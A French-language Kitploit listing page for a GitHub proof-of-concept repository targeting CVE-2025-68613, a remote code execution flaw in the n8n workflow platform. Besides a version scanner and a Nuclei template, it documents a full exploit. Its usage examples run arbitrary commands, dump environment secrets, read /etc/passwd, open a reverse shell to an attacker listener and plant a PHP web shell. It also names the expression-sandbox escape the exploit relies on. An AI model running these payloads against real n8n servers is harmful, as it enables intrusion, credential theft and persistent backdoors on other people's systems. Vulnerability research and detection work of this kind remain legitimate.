Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-68613-POC — PoC public + Scanner et recherche pour CVE-2025-68613 : RCE critique dans l'automatisation de workflows n8n via injection d'expressions (CVSS 10.0). Inclut des outils de détection, l'exploit complet et des conseils de remédiation. | Kitploit
Outils/GitHubGitHub/thestingr/cve-2025-68613-poc
ReconnaissanceScanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionArticles et Recherche

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Apprentissage et Éducation
Red Teaming
Développement de Charges Utiles
GitHubthestingr/cve-2025-68613-poc

CVE-2025-68613-POC

PoC public + Scanner et recherche pour CVE-2025-68613 : RCE critique dans l'automatisation de workflows n8n via injection d'expressions (CVSS 10.0). Inclut des outils de détection, l'exploit complet et des conseils de remédiation.

Voir le dépôt
2644il y a 10 moisVérifié par Kitploit
Partager

🚨 CVE-2025-68613 : Vulnérabilité critique d'exécution de code à distance (RCE) dans n8n

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

Table des matières

  1. Vue d'ensemble
  2. Qu'est-ce que n8n ?
  3. Notions de base sur la vulnérabilité
  4. Détails techniques
  5. Versions affectées
  6. Mécanismes d'exploitation
  7. Impact dans le monde réel
  8. Méthodes de détection
  9. Remédiation et atténuation
  10. Ressources et références

Vue d'ensemble

CVE-2025-68613 est une vulnérabilité critique d'exécution de code à distance (RCE) découverte dans n8n, une plateforme open-source populaire d'automatisation de flux de travail. Cette vulnérabilité permet à des utilisateurs authentifiés d'exécuter du code arbitraire sur le serveur, ce qui peut mener à un compromis complet du système.

En bref

  • ID CVE : CVE-2025-68613
  • Score CVSS : 9.9 - 10.0 (Critique)
  • Type de vulnérabilité : Injection d'expression → Exécution de code à distance
  • CWE : CWE-913 (Contrôle inapproprié des ressources de code gérées dynamiquement)
  • Vecteur d'attaque : Réseau
  • Authentification requise : Oui (privilèges faibles - aucun accès administrateur requis) |- Statut : Preuve de concept disponible (vérifiée fonctionnelle sur la v1.121.0)

Qu'est-ce que n8n ?

n8n est une plateforme open-source d'automatisation de flux de travail qui permet aux utilisateurs de :

  • Connecter divers API, bases de données et services
  • Automatiser des processus métier répétitifs
  • Créer des flux de travail complexes sans codage approfondi
  • Déployer sur site ou dans le cloud

Pourquoi n8n est une infrastructure critique

Les organisations utilisent n8n pour :

  • Intégrer des bases de données avec des services cloud
  • Automatiser les pipelines de traitement de données
  • Connecter les CRM, ERP et systèmes internes
  • Gérer des données sensibles et des identifiants API

Ce rôle central dans l'infrastructure informatique rend les vulnérabilités particulièrement dangereuses, car elles peuvent donner aux attaquants un accès à des réseaux entiers et à des données sensibles.


Outils de ce dépôt

Ce dépôt comprend des outils prêts à l'emploi pour la détection de vulnérabilités et les tests d'exploitation :

1. Scanner : cve-2025-68613-scanner.py

Objectif : Détection sûre et sans exploitation des instances n8n vulnérables

Fonctionnalités :

  • Détection passive de version à partir des réponses HTTP
  • Aucune authentification requise
  • Aucune exécution de charge utile
  • Vérifie plusieurs chemins courants (/, /rest/settings, /healthz, /api/v1/health)
  • Sûr pour les évaluations de sécurité autorisées

Utilisation :```bash python3 cve-2025-68613-scanner.py -u http://target:5678

**Sortie**:
- Code de sortie 0: Non vulnérable
- Code de sortie 1: Version indéterminée (peut être corrigée ou masquée)
- Code de sortie 2: Version vulnérable détectée

### 2. Modèle Nuclei: `CVE-2025-68613.yaml`
**Objectif**: Détection automatisée de vulnérabilités et test de base de l'évaluation d'expressions

**Fonctionnalités**:
- Nécessite un jeton d'authentification valide
- Teste la capacité d'injection d'expressions
- Tente de lire le contexte global de Node.js (process.platform)
- Crée des workflows de test pour valider le vecteur RCE
- Classification de gravité critique CVSS 10.0

**Utilisation**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. Exploit complet : exploit_cve-2025-68613.py

Objectif : Exploit de preuve de concept complet avec plusieurs payloads d'attaque

Fonctionnalités :

  • Gestion complète de l'authentification
  • Plusieurs payloads d'exploitation :
    • info : Recueillir les informations système (OS, architecture, version de Node.js, utilisateur courant)
    • cmd : Exécuter des commandes système arbitraires
    • env : Extraire toutes les variables d'environnement (révèle les identifiants, clés API, secrets)
    • read : Lire les fichiers sensibles du système de fichiers (clés SSH, fichiers de configuration, etc.)
    • write : Écrire des fichiers sur le système de fichiers (persistance, backdoors, etc.)
    • revshell : Établir une connexion reverse shell pour un accès interactif
  • Nettoyage automatique du workflow
  • Gestion des erreurs et rapport d'état

Prérequis :

  • Identifiants utilisateur n8n valides (e-mail/mot de passe)
  • Python 3.6+ avec la bibliothèque requests
  • Accès réseau à l'instance n8n cible

Installation :```bash pip install requests chmod +x exploit_cve-2025-68613.py

**Exemples d'utilisation**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

Comment ça fonctionne :

  1. S'authentifie auprès de n8n avec les identifiants fournis
  2. Crée un workflow malveillant avec une charge utile d'injection d'expression
  3. La charge utile s'échappe du bac à sable d'expressions à l'aide de this.constructor.constructor()
  4. Exécute la charge utile via process.platform ou d'autres API Node.js
  5. Récupère les résultats de l'exécution du workflow
  6. Nettoie en supprimant le workflow de test

Codes de sortie :

  • 0 : Exploitation réussie
  • 1 : Échec de l'authentification ou de l'exploitation

Notions de base sur la vulnérabilité

Quel est le problème ?

En termes simples : n8n permet aux utilisateurs d'écrire des expressions dans les workflows pour traiter les données de manière dynamique. Cependant, ces expressions sont évaluées sans véritable bac à sable, ce qui permet aux attaquants de sortir du contexte d'exécution prévu et d'exécuter du code arbitraire sur le serveur.

Le problème fondamental

Télécharger l’outil